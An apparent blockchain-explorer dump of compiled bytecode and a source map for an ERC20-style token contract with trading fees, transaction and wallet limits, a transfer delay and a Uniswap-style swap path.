fffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121f09190612d1a565b8160018151811061220457612203612c8e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061226b30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149c565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122cf959493929190613490565b600060405180830381600087803b1580156122e957600080fd5b505af11580156122fd573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612387573d6000803e3d6000fd5b5050565b600080830361239d57600090506123ff565b600082846123ab9190612be0565b90508284826123ba9190613519565b146123fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f1906135bc565b60405180910390fd5b809150505b92915050565b600061244783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124f7565b905092915050565b600080828461245e91906132fe565b9050838110156124a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249a90613628565b60405180910390fd5b8091505092915050565b60006124ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612044565b905092915050565b6000808311829061253e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253591906125ea565b60405180910390fd5b506000838561254d9190613519565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612594578082015181840152602081019050612579565b60008484015250505050565b6000601f19601f8301169050919050565b60006125bc8261255a565b6125c68185612565565b93506125d6818560208601612576565b6125df816125a0565b840191505092915050565b6000602082019050818103600083015261260481846125b1565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061264b82612620565b9050919050565b61265b81612640565b811461266657600080fd5b50565b60008135905061267881612652565b92915050565b6000819050919050565b6126918161267e565b811461269c57600080fd5b50565b6000813590506126ae81612688565b92915050565b600080604083850312156126cb576126ca612616565b5b60006126d985828601612669565b92505060206126ea8582860161269f565b9150509250929050565b60008115159050919050565b612709816126f4565b82525050565b60006020820190506127246000830184612700565b92915050565b6127338161267e565b82525050565b600060208201905061274e600083018461272a565b92915050565b60008060006060848603121561276d5761276c612616565b5b600061277b86828701612669565b935050602061278c86828701612669565b925050604061279d8682870161269f565b9150509250925092565b600060ff82169050919050565b6127bd816127a7565b82525050565b60006020820190506127d860008301846127b4565b92915050565b6000602082840312156127f4576127f3612616565b5b60006128028482850161269f565b91505092915050565b60006020828403121561282157612820612616565b5b600061282f84828501612669565b91505092915050565b61284181612640565b82525050565b600060208201905061285c6000830184612838565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61289f826125a0565b810181811067ffffffffffffffff821117156128be576128bd612867565b5b80604052505050565b60006128d161260c565b90506128dd8282612896565b919050565b600067ffffffffffffffff8211156128fd576128fc612867565b5b602082029050602081019050919050565b600080fd5b6000612926612921846128e2565b6128c7565b905080838252602082019050602084028301858111156129495761294861290e565b5b835b81811015612972578061295e8882612669565b84526020840193505060208101905061294b565b5050509392505050565b600082601f83011261299157612990612862565b5b81356129a1848260208601612913565b91505092915050565b6000602082840312156129c0576129bf612616565b5b600082013567ffffffffffffffff8111156129de576129dd61261b565b5b6129ea8482850161297c565b91505092915050565b60008060408385031215612a0a57612a09612616565b5b6000612a1885828601612669565b9250506020612a2985828601612669565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612ab957808604811115612a9557612a94612a33565b5b6001851615612aa45780820291505b8081029050612ab285612a62565b9450612a79565b94509492505050565b600082612ad25760019050612b8e565b81612ae05760009050612b8e565b8160018114612af65760028114612b0057612b2f565b6001915050612b8e565b60ff841115612b1257612b11612a33565b5b8360020a915084821115612b2957612b28612a33565b5b50612b8e565b5060208310610133831016604e8410600b8410161715612b645782820a905083811115612b5f57612b5e612a33565b5b612b8e565b612b718484846001612a6f565b92509050818404811115612b8857612b87612a33565b5b81810290505b9392505050565b6000612ba08261267e565b9150612bab836127a7565b9250612bd87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612ac2565b905092915050565b6000612beb8261267e565b9150612bf68361267e565b9250828202612c048161267e565b91508282048414831517612c1b57612c1a612a33565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c58602083612565565b9150612c6382612c22565b602082019050919050565b60006020820190508181036000830152612c8781612c4b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612cc88261267e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cfa57612cf9612a33565b5b600182019050919050565b600081519050612d1481612652565b92915050565b600060208284031215612d3057612d2f612616565b5b6000612d3e84828501612d05565b91505092915050565b6000604082019050612d5c6000830185612838565b612d696020830184612838565b9392505050565b6000819050919050565b6000819050919050565b6000612d9f612d9a612d9584612d70565b612d7a565b61267e565b9050919050565b612daf81612d84565b82525050565b600060c082019050612dca6000830189612838565b612dd7602083018861272a565b612de46040830187612da6565b612df16060830186612da6565b612dfe6080830185612838565b612e0b60a083018461272a565b979650505050505050565b600081519050612e2581612688565b92915050565b600080600060608486031215612e4457612e43612616565b5b6000612e5286828701612e16565b9350506020612e6386828701612e16565b9250506040612e7486828701612e16565b9150509250925092565b6000604082019050612e936000830185612838565b612ea0602083018461272a565b9392505050565b612eb0816126f4565b8114612ebb57600080fd5b50565b600081519050612ecd81612ea7565b92915050565b600060208284031215612ee957612ee8612616565b5b6000612ef784828501612ebe565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f5c602483612565565b9150612f6782612f00565b604082019050919050565b60006020820190508181036000830152612f8b81612f4f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612fee602283612565565b9150612ff982612f92565b604082019050919050565b6000602082019050818103600083015261301d81612fe1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613080602583612565565b915061308b82613024565b604082019050919050565b600060208201905081810360008301526130af81613073565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613112602383612565565b915061311d826130b6565b604082019050919050565b6000602082019050818103600083015261314181613105565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131a4602983612565565b91506131af82613148565b604082019050919050565b600060208201905081810360008301526131d381613197565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b600061325c604983612565565b9150613267826131da565b606082019050919050565b6000602082019050818103600083015261328b8161324f565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132c8601983612565565b91506132d382613292565b602082019050919050565b600060208201905081810360008301526132f7816132bb565b9050919050565b60006133098261267e565b91506133148361267e565b925082820190508082111561332c5761332b612a33565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613368601a83612565565b915061337382613332565b602082019050919050565b600060208201905081810360008301526133978161335b565b9050919050565b60006133a98261267e565b91506133b48361267e565b92508282039050818111156133cc576133cb612a33565b5b92915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61340781612640565b82525050565b600061341983836133fe565b60208301905092915050565b6000602082019050919050565b600061343d826133d2565b61344781856133dd565b9350613452836133ee565b8060005b8381101561348357815161346a888261340d565b975061347583613425565b925050600181019050613456565b5085935050505092915050565b600060a0820190506134a5600083018861272a565b6134b26020830187612da6565b81810360408301526134c48186613432565b90506134d36060830185612838565b6134e0608083018461272a565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006135248261267e565b915061352f8361267e565b92508261353f5761353e6134ea565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006135a6602183612565565b91506135b18261354a565b604082019050919050565b600060208201905081810360008301526135d581613599565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613612601b83612565565b915061361d826135dc565b602082019050919050565b6000602082019050818103600083015261364181613605565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ef19a709635622ad5e156ce3f64498ed26d8a8a656e8d41236cb0e2f01c0818664736f6c63430008110033

Deployed Bytecode Sourcemap

3966:9204:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6002:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6840:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5179:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6282:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7010:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6190:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12423:348;;;;;;;;;;;;;:::i;:::-;;10263:360;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6386:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3043:148;;;;;;;;;;;;;:::i;:::-;;10632:196;;;;;;;;;;;;;:::i;:::-;;4995:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2827:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5054:55;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12174:202;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11962:203;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6094:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6512:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12780:387;;;;;;;;;;;;;:::i;:::-;;5116:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4367:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10938:788;;;;;;;;;;;;;:::i;:::-;;6688:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11735:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6002:83;6039:13;6072:5;;;;;;;;;;;;;;;;;6065:12;;6002:83;:::o;6840:161::-;6915:4;6932:39;6941:12;:10;:12::i;:::-;6955:7;6964:6;6932:8;:39::i;:::-;6989:4;6982:11;;6840:161;;;;:::o;5179:50::-;;;;:::o;6282:95::-;6335:7;4809:1;4862:2;:13;;;;:::i;:::-;4852:7;:23;;;;:::i;:::-;6355:14;;6282:95;:::o;7010:313::-;7108:4;7125:36;7135:6;7143:9;7154:6;7125:9;:36::i;:::-;7172:121;7181:6;7189:12;:10;:12::i;:::-;7203:89;7241:6;7203:89;;;;;;;;;;;;;;;;;:11;:19;7215:6;7203:19;;;;;;;;;;;;;;;:33;7223:12;:10;:12::i;:::-;7203:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7172:8;:121::i;:::-;7311:4;7304:11;;7010:313;;;;;:::o;6190:83::-;6231:5;4809:1;6249:16;;6190:83;:::o;12423:348::-;12487:10;;;;;;;;;;;12473:24;;:12;:10;:12::i;:::-;:24;;;12465:33;;;;;;12509:20;12530:24;12548:4;12530:9;:24::i;:::-;12509:45;;12581:1;12568:12;:14;12565:73;;;12596:30;12613:12;12596:16;:30::i;:::-;12565:73;12648:18;12667:21;12648:40;;12713:1;12702:10;:12;12699:65;;;12728:24;12741:10;12728:12;:24::i;:::-;12699:65;12454:317;;12423:348::o;10263:360::-;10361:15;10355:22;10345:8;10342:36;10332:62;;10391:1;10388;10381:12;10332:62;10421:4;10415:11;10448:8;10443:3;10436:21;10490:12;10483:4;10478:3;10474:14;10467:36;10540:4;10535:3;10525:20;10568:6;10562:4;10555:20;10609:5;10592:15;10585:30;10331:285;;10263:360;:::o;6386:117::-;6452:7;6479;:16;6487:7;6479:16;;;;;;;;;;;;;;;;6472:23;;6386:117;;;:::o;3043:148::-;2965:12;:10;:12::i;:::-;2955:22;;:6;;;;;;;;;;:22;;;2947:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3150:1:::1;3113:40;;3134:6;::::0;::::1;;;;;;;;3113:40;;;;;;;;;;;;3181:1;3164:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3043:148::o:0;10632:196::-;2965:12;:10;:12::i;:::-;2955:22;;:6;;;;;;;;;;:22;;;2947:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4809:1:::1;4862:2;:13;;;;:::i;:::-;4852:7;:23;;;;:::i;:::-;10685:12;:22;;;;4809:1;4862:2;:13;;;;:::i;:::-;4852:7;:23;;;;:::i;:::-;10718:14;:22;;;;10772:5;10751:20;;:26;;;;;;;;;;;;;;;;;;10793:27;4809:1;4862:2;:13;;;;:::i;:::-;4852:7;:23;;;;:::i;:::-;10793:27;;;;;;:::i;:::-;;;;;;;;10632:196::o:0;4995:52::-;;;;:::o;2827:79::-;2865:7;2892:6;;;;;;;;;;;2885:13;;2827:79;:::o;5054:55::-;;;;:::o;12174:202::-;2965:12;:10;:12::i;:::-;2955:22;;:6;;;;;;;;;;:22;;;2947:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12260:9:::1;12255:114;12279:9;:16;12275:1;:20;12255:114;;;12352:5;12317:18;:32;12336:9;12346:1;12336:12;;;;;;;;:::i;:::-;;;;;;;;12317:32;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;12297:3;;;;;:::i;:::-;;;;12255:114;;;;12174:202:::0;:::o;11962:203::-;2965:12;:10;:12::i;:::-;2955:22;;:6;;;;;;;;;;:22;;;2947:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12050:9:::1;12045:113;12069:9;:16;12065:1;:20;12045:113;;;12142:4;12107:18;:32;12126:9;12136:1;12126:12;;;;;;;;:::i;:::-;;;;;;;;12107:32;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;12087:3;;;;;:::i;:::-;;;;12045:113;;;;11962:203:::0;:::o;6094:87::-;6133:13;6166:7;;;;;;;;;;;;;;;;;6159:14;;6094:87;:::o;6512:167::-;6590:4;6607:42;6617:12;:10;:12::i;:::-;6631:9;6642:6;6607:9;:42::i;:::-;6667:4;6660:11;;6512:167;;;;:::o;12780:387::-;12851:10;;;;;;;;;;;12837:24;;:12;:10;:12::i;:::-;:24;;;12829:33;;;;;;12873:20;12894:24;12912:4;12894:9;:24::i;:::-;12873:45;;12933:11;;;;;;;;;;;12932:12;:30;;;;;12961:1;12948:12;:14;12932:30;12929:89;;;12976:30;12993:12;12976:16;:30::i;:::-;12929:89;13028:18;13047:21;13028:40;;13083:11;;;;;;;;;;;13082:12;:28;;;;;13109:1;13098:10;:12;13082:28;13079:81;;;13124:24;13137:10;13124:12;:24::i;:::-;13079:81;12818:349;;12780:387::o;5116:56::-;;;;:::o;4367:39::-;;;;;;;;;;;;;:::o;10938:788::-;11003:10;;;;;;;;;;;10989:24;;:12;:10;:12::i;:::-;:24;;;10981:33;;;;;;11029:11;;;;;;;;;;;11025:639;;11089:42;11052:15;;:80;;;;;;;;;;;;;;;;;;11143:58;11160:4;11175:15;;;;;;;;;;;4809:1;4862:2;:13;;;;:::i;:::-;4852:7;:23;;;;:::i;:::-;11143:8;:58::i;:::-;11246:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11228:55;;;11292:4;11299:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11228:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11212:13;;:110;;;;;;;;;;;;;;;;;;11333:15;;;;;;;;;;;:31;;;11372:21;11403:4;11409:24;11427:4;11409:9;:24::i;:::-;11434:1;11436;11438:7;:5;:7::i;:::-;11446:15;11333:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11480:13;;;;;;;;;;;11473:29;;;11511:15;;;;;;;;;;;11529:14;11473:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11593:4;11555:20;:35;11576:13;;;;;;;;;;;11555:35;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;11622:4;11608:11;;:18;;;;;;;;;;;;;;;;;;11651:4;11637:11;;:18;;;;;;;;;;;;;;;;;;11656:7;;11025:639;11712:5;11690:20;11683:35;10938:788;:::o;6688:143::-;6769:7;6796:11;:18;6808:5;6796:18;;;;;;;;;;;;;;;:27;6815:7;6796:27;;;;;;;;;;;;;;;;6789:34;;6688:143;;;;:::o;11735:218::-;11810:10;;;;;;;;;;;11796:24;;:12;:10;:12::i;:::-;:24;;;11788:33;;;;;;11847:12;;11838:7;:21;;:47;;;;;11872:13;;11863:7;:22;;11838:47;11830:56;;;;;;11908:7;11895:12;:20;;;;11938:7;11924:13;:21;;;;11735:218;:::o;571:98::-;624:7;651:10;644:17;;571:98;:::o;7332:335::-;7442:1;7425:19;;:5;:19;;;7417:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7523:1;7504:21;;:7;:21;;;7496:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7605:6;7575:11;:18;7587:5;7575:18;;;;;;;;;;;;;;;:27;7594:7;7575:27;;;;;;;;;;;;;;;:36;;;;7643:7;7627:32;;7636:5;7627:32;;;7652:6;7627:32;;;;;;:::i;:::-;;;;;;;;7332:335;;;:::o;7676:1977::-;7780:1;7764:18;;:4;:18;;;7756:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7857:1;7843:16;;:2;:16;;;7835:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7927:1;7918:6;:10;7910:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7985:17;8027:7;:5;:7::i;:::-;8019:15;;:4;:15;;;;:32;;;;;8044:7;:5;:7::i;:::-;8038:13;;:2;:13;;;;8019:32;8015:1175;;;8080:35;8111:3;8080:26;8091:14;;8080:6;:10;;:26;;;;:::i;:::-;:30;;:35;;;;:::i;:::-;8068:47;;8137:20;;;;;;;;;;;8133:508;;;8198:15;;;;;;;;;;;8184:30;;:2;:30;;;;:62;;;;;8232:13;;;;;;;;;;;8218:28;;:2;:28;;;;8184:62;8180:444;;;8382:12;8309:28;:39;8338:9;8309:39;;;;;;;;;;;;;;;;:85;8273:250;;;;;;;;;;;;:::i;:::-;;;;;;;;;8590:12;8548:28;:39;8577:9;8548:39;;;;;;;;;;;;;;;:54;;;;8180:444;8133:508;8670:13;;;;;;;;;;;8662:21;;:4;:21;;;:55;;;;;8701:15;;;;;;;;;;;8687:30;;:2;:30;;;;8662:55;:83;;;;;8723:18;:22;8742:2;8723:22;;;;;;;;;;;;;;;;;;;;;;;;;8721:24;8662:83;:114;;;;;8750:20;:26;8771:4;8750:26;;;;;;;;;;;;;;;;;;;;;;;;;8749:27;8662:114;:143;;;;;8781:20;:24;8802:2;8781:24;;;;;;;;;;;;;;;;;;;;;;;;;8780:25;8662:143;8658:373;;;8845:12;;8835:6;:22;;8827:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;8940:14;;8930:6;8914:13;8924:2;8914:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8906:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;9004:9;;:11;;;;;;;;;:::i;:::-;;;;;;8658:373;9057:13;;;;;;;;;;;9051:19;;:2;:19;;;:43;;;;;9089:4;9074:20;;:4;:20;;;;9051:43;9048:131;;;9127:36;9159:3;9127:27;9138:15;;9127:6;:10;;:27;;;;:::i;:::-;:31;;:36;;;;:::i;:::-;9115:48;;9048:131;8015:1175;9207:18;:22;9226:2;9207:22;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;9233:18;:24;9252:4;9233:24;;;;;;;;;;;;;;;;;;;;;;;;;9207:50;9203:96;;;9286:1;9274:13;;9203:96;9327:1;9315:9;:13;9312:163;;;9367:37;9394:9;9367:7;:22;9383:4;9367:22;;;;;;;;;;;;;;;;:26;;:37;;;;:::i;:::-;9344:7;:22;9360:4;9344:22;;;;;;;;;;;;;;;:60;;;;9447:4;9424:39;;9433:4;9424:39;;;9453:9;9424:39;;;;;;:::i;:::-;;;;;;;;9312:163;9502:25;9520:6;9502:7;:13;9510:4;9502:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;9488:7;:13;9496:4;9488:13;;;;;;;;;;;;;;;:39;;;;9550:38;9566:21;9577:9;9566:6;:10;;:21;;;;:::i;:::-;9550:7;:11;9558:2;9550:11;;;;;;;;;;;;;;;;:15;;:38;;;;:::i;:::-;9538:7;:11;9546:2;9538:11;;;;;;;;;;;;;;;:50;;;;9619:2;9604:41;;9613:4;9604:41;;;9623:21;9634:9;9623:6;:10;;:21;;;;:::i;:::-;9604:41;;;;;;:::i;:::-;;;;;;;;7745:1908;7676:1977;;;:::o;1712:190::-;1798:7;1831:1;1826;:6;;1834:12;1818:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1858:9;1874:1;1870;:5;;;;:::i;:::-;1858:17;;1893:1;1886:8;;;1712:190;;;;;:::o;9772:483::-;5522:4;5513:6;;:13;;;;;;;;;;;;;;;;;;9850:21:::1;9888:1;9874:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9850:40;;9919:4;9901;9906:1;9901:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;9945:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9935:4;9940:1;9935:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;9978:62;9995:4;10010:15;;;;;;;;;;;10028:11;9978:8;:62::i;:::-;10051:15;;;;;;;;;;;:66;;;10132:11;10158:1;10174:4;10201;10221:15;10051:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9839:416;5558:5:::0;5549:6;;:14;;;;;;;;;;;;;;;;;;9772:483;:::o;10837:92::-;10894:10;;;;;;;;;;;:19;;:27;10914:6;10894:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10837:92;:::o;1911:246::-;1969:7;1998:1;1993;:6;1989:47;;2023:1;2016:8;;;;1989:47;2046:9;2062:1;2058;:5;;;;:::i;:::-;2046:17;;2091:1;2086;2082;:5;;;;:::i;:::-;:10;2074:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2148:1;2141:8;;;1911:246;;;;;:::o;2166:132::-;2224:7;2251:39;2255:1;2258;2251:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2244:46;;2166:132;;;;:::o;1379:179::-;1437:7;1457:9;1473:1;1469;:5;;;;:::i;:::-;1457:17;;1498:1;1493;:6;;1485:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1549:1;1542:8;;;1379:179;;;;:::o;1567:136::-;1625:7;1652:43;1656:1;1659;1652:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1645:50;;1567:136;;;;:::o;2307:189::-;2393:7;2425:1;2421;:5;2428:12;2413:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2452:9;2468:1;2464;:5;;;;:::i;:::-;2452:17;;2487:1;2480:8;;;2307:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:::-;5247:6;5296:2;5284:9;5275:7;5271:23;5267:32;5264:119;;;5302:79;;:::i;:::-;5264:119;5422:1;5447:53;5492:7;5483:6;5472:9;5468:22;5447:53;:::i;:::-;5437:63;;5393:117;5188:3